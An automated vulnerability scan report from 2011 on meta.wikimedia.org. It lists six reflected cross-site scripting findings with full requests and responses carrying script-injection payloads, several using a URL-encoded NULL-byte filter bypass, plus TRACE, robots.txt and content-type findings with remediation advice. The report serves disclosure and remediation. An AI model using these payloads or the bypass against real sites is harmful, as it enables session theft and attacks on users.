XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, meta.wikimedia.org

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Tue May 03 19:45:38 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cross-site scripting (reflected)

1.1. http://meta.wikimedia.org/w/index.php [REST URL parameter 2]

1.2. http://meta.wikimedia.org/w/index.php [REST URL parameter 2]

1.3. http://meta.wikimedia.org/w/index.php [name of an arbitrarily supplied request parameter]

1.4. http://meta.wikimedia.org/w/index.php [name of an arbitrarily supplied request parameter]

1.5. http://meta.wikimedia.org/wiki/List_of_Wikipedias [REST URL parameter 2]

1.6. http://meta.wikimedia.org/wiki/List_of_Wikipedias [REST URL parameter 2]

2. TRACE method is enabled

3. Robots.txt file

4. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://meta.wikimedia.org/w/index.php [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://meta.wikimedia.org
Path:   /w/index.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a37b"><script>alert(1)</script>5922412b493 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /w/index.php5a37b"><script>alert(1)</script>5922412b493?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400 HTTP/1.1
Host: meta.wikimedia.org
Proxy-Connection: keep-alive
Referer: http://en.wikipedia.org/wiki/List_of_banks_in_Thailand
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 404 Not Found
Date: Tue, 03 May 2011 11:45:11 GMT
Server: Apache
Cache-Control: s-maxage=2678400, max-age=2678400
X-Wikimedia-Debug: prot=http:// serv=meta.wikimedia.org loc=/w/index.php5a37b"><script>alert(1)</script>5922412b493?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
Content-Length: 6020
Content-Type: text/html; charset=utf-8
X-Cache: MISS from sq65.wikimedia.org
X-Cache-Lookup: MISS from sq65.wikimedia.org:3128
X-Cache: MISS from sq63.wikimedia.org
X-Cache-Lookup: MISS from sq63.wikimedia.org:80
Connection: close

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Wikimedia page not found: http://meta.wikimedia.org/w/index.php5a37b&quot;
...[SNIP]...
<a href="http://en.wikipedia.org/wiki/index.php5a37b"><script>alert(1)</script>5922412b493?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400" title="Wikipedia:index.php5a37b">
...[SNIP]...

1.2. http://meta.wikimedia.org/w/index.php [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://meta.wikimedia.org
Path:   /w/index.php

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a4f9d<script>alert(1)</script>4ff91371275 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /w/index.phpa4f9d<script>alert(1)</script>4ff91371275?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400 HTTP/1.1
Host: meta.wikimedia.org
Proxy-Connection: keep-alive
Referer: http://en.wikipedia.org/wiki/List_of_banks_in_Thailand
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 404 Not Found
Date: Tue, 03 May 2011 11:45:11 GMT
Server: Apache
Cache-Control: s-maxage=2678400, max-age=2678400
X-Wikimedia-Debug: prot=http:// serv=meta.wikimedia.org loc=/w/index.phpa4f9d<script>alert(1)</script>4ff91371275?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
Content-Length: 5992
Content-Type: text/html; charset=utf-8
X-Cache: MISS from sq62.wikimedia.org
X-Cache-Lookup: MISS from sq62.wikimedia.org:3128
X-Cache: MISS from sq65.wikimedia.org
X-Cache-Lookup: MISS from sq65.wikimedia.org:80
Connection: close

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Wikimedia page not found: http://meta.wikimedia.org/w/index.phpa4f9d&lt;sc
...[SNIP]...
<p style="font-weight: bold;">To check for "index.phpa4f9d<script>alert(1)</script>4ff91371275?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400" on Wikipedia, see:
<a href="http://en.wikipedia.org/wiki/index.phpa4f9d<script>
...[SNIP]...

1.3. http://meta.wikimedia.org/w/index.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://meta.wikimedia.org
Path:   /w/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0018fb0"><script>alert(1)</script>a01da2cb18a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 18fb0"><script>alert(1)</script>a01da2cb18a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /w/index.php/%0018fb0"><script>alert(1)</script>a01da2cb18a HTTP/1.1
Host: meta.wikimedia.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Tue, 03 May 2011 13:24:06 GMT
Server: Apache
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
X-Wikimedia-Debug: prot=http:// serv=meta.wikimedia.org loc=/w/index.php/%0018fb0"><script>alert(1)</script>a01da2cb18a
Content-Length: 5454
Content-Type: text/html; charset=utf-8
X-Cache: MISS from sq73.wikimedia.org
X-Cache-Lookup: MISS from sq73.wikimedia.org:3128
X-Cache: MISS from sq71.wikimedia.org
X-Cache-Lookup: MISS from sq71.wikimedia.org:80
Connection: close

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Wikimedia page not found: http://meta.wikimedia.org/w/index.php/%0018fb0&q
...[SNIP]...
<a href="http://en.wikipedia.org/wiki/index.php/%0018fb0"><script>alert(1)</script>a01da2cb18a" title="Wikipedia:index.php/%0018fb0">
...[SNIP]...

1.4. http://meta.wikimedia.org/w/index.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://meta.wikimedia.org
Path:   /w/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload %002cbbc<script>alert(1)</script>bc850f7368e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2cbbc<script>alert(1)</script>bc850f7368e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /w/index.php/%002cbbc<script>alert(1)</script>bc850f7368e HTTP/1.1
Host: meta.wikimedia.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Tue, 03 May 2011 13:24:11 GMT
Server: Apache
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
X-Wikimedia-Debug: prot=http:// serv=meta.wikimedia.org loc=/w/index.php/%002cbbc<script>alert(1)</script>bc850f7368e
Content-Length: 5426
Content-Type: text/html; charset=utf-8
X-Cache: MISS from sq60.wikimedia.org
X-Cache-Lookup: MISS from sq60.wikimedia.org:3128
X-Cache: MISS from sq66.wikimedia.org
X-Cache-Lookup: MISS from sq66.wikimedia.org:80
Connection: close

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Wikimedia page not found: http://meta.wikimedia.org/w/index.php/%002cbbc&l
...[SNIP]...
<p style="font-weight: bold;">To check for "index.php/%002cbbc<script>alert(1)</script>bc850f7368e" on Wikipedia, see:
<a href="http://en.wikipedia.org/wiki/index.php/%002cbbc<script>
...[SNIP]...

1.5. http://meta.wikimedia.org/wiki/List_of_Wikipedias [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://meta.wikimedia.org
Path:   /wiki/List_of_Wikipedias

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %00dc82e<script>alert(1)</script>e4b8fb65c24 was submitted in the REST URL parameter 2. This input was echoed as dc82e<script>alert(1)</script>e4b8fb65c24 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /wiki/List_of_Wikipedias%00dc82e<script>alert(1)</script>e4b8fb65c24 HTTP/1.1
Host: meta.wikimedia.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Tue, 03 May 2011 13:25:35 GMT
Server: Apache
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
X-Wikimedia-Debug: prot=http:// serv=meta.wikimedia.org loc=/wiki/List_of_Wikipedias%00dc82e<script>alert(1)</script>e4b8fb65c24
Content-Length: 5480
Content-Type: text/html; charset=utf-8
X-Cache: MISS from sq73.wikimedia.org
X-Cache-Lookup: MISS from sq73.wikimedia.org:3128
X-Cache: MISS from sq64.wikimedia.org
X-Cache-Lookup: MISS from sq64.wikimedia.org:80
Connection: close

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Wikimedia page not found: http://meta.wikimedia.org/wiki/List_of_Wikipedia
...[SNIP]...
<p style="font-weight: bold;">To check for "List_of_Wikipedias%00dc82e<script>alert(1)</script>e4b8fb65c24" on Wikipedia, see:
<a href="http://en.wikipedia.org/wiki/List_of_Wikipedias%00dc82e<script>
...[SNIP]...

1.6. http://meta.wikimedia.org/wiki/List_of_Wikipedias [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://meta.wikimedia.org
Path:   /wiki/List_of_Wikipedias

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00e045f"><script>alert(1)</script>75f828803d9 was submitted in the REST URL parameter 2. This input was echoed as e045f"><script>alert(1)</script>75f828803d9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /wiki/List_of_Wikipedias%00e045f"><script>alert(1)</script>75f828803d9 HTTP/1.1
Host: meta.wikimedia.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Tue, 03 May 2011 13:25:28 GMT
Server: Apache
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
X-Wikimedia-Debug: prot=http:// serv=meta.wikimedia.org loc=/wiki/List_of_Wikipedias%00e045f"><script>alert(1)</script>75f828803d9
Content-Length: 5508
Content-Type: text/html; charset=utf-8
X-Cache: MISS from sq71.wikimedia.org
X-Cache-Lookup: MISS from sq71.wikimedia.org:3128
X-Cache: MISS from sq36.wikimedia.org
X-Cache-Lookup: MISS from sq36.wikimedia.org:80
Connection: close

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Wikimedia page not found: http://meta.wikimedia.org/wiki/List_of_Wikipedia
...[SNIP]...
<a href="http://en.wikipedia.org/wiki/List_of_Wikipedias%00e045f"><script>alert(1)</script>75f828803d9" title="Wikipedia:List_of_Wikipedias%00e045f">
...[SNIP]...

2. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://meta.wikimedia.org
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: meta.wikimedia.org
Cookie: 2c8b1a27c63ee62e

Response

HTTP/1.0 200 OK
Date: Tue, 03 May 2011 11:44:17 GMT
Server: Apache
Content-Type: message/http
X-Cache: MISS from sq66.wikimedia.org
X-Cache-Lookup: NONE from sq66.wikimedia.org:3128
X-Cache: MISS from sq65.wikimedia.org
X-Cache-Lookup: NONE from sq65.wikimedia.org:80
Connection: close

TRACE / HTTP/1.0
Host: meta.wikimedia.org
Cookie: 2c8b1a27c63ee62e
Via: 1.0 sq66.wikimedia.org:3128 (squid/2.7.STABLE7)
X-Forwarded-For: 173.193.214.243, 208.80.152.75


3. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://meta.wikimedia.org
Path:   /w/index.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: meta.wikimedia.org

Response

HTTP/1.0 200 OK
Date: Tue, 03 May 2011 11:30:44 GMT
Server: Apache
Cache-Control: s-maxage=3600, must-revalidate, max-age=0
X-Article-ID: 137623
X-Language: meta
X-Site: wikipedia
Last-Modified: Tue, 23 Mar 2010 17:05:37 GMT
Vary: Accept-Encoding
Content-Length: 18579
Content-Type: text/plain; charset=utf-8
Age: 814
X-Cache: HIT from sq78.wikimedia.org
X-Cache-Lookup: HIT from sq78.wikimedia.org:3128
X-Cache: MISS from sq60.wikimedia.org
X-Cache-Lookup: MISS from sq60.wikimedia.org:80
Connection: close

#
# robots.txt for http://www.wikipedia.org/ and friends
#
# Please note: There are a lot of pages on this site, and there are
# some misbehaved spiders out there that go _way_ too fast. If you're
# i
...[SNIP]...

4. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://meta.wikimedia.org
Path:   /w/index.php

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400 HTTP/1.1
Host: meta.wikimedia.org
Proxy-Connection: keep-alive
Referer: http://en.wikipedia.org/wiki/List_of_banks_in_Thailand
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Date: Tue, 03 May 2011 11:44:16 GMT
Server: Apache
Cache-Control: public, s-maxage=21600, max-age=86400
Last-Modified: Wed, 27 Apr 2011 17:46:22 GMT
Vary: Accept-Encoding
Content-Type: text/javascript; charset=UTF-8
X-Cache: MISS from sq66.wikimedia.org
X-Cache-Lookup: HIT from sq66.wikimedia.org:3128
X-Cache: HIT from sq61.wikimedia.org
X-Cache-Lookup: HIT from sq61.wikimedia.org:80
Connection: keep-alive
Content-Length: 13163

// [[image:Erioll_world.svg|18px]] '''WikiMiniAtlas''' <br>
// Script to embed interactive maps into pages that have coordinate templates <br>
// also check my user page [[User:Dschwen]] for more tool
...[SNIP]...

Report generated by XSS.CX at Tue May 03 19:45:38 CDT 2011.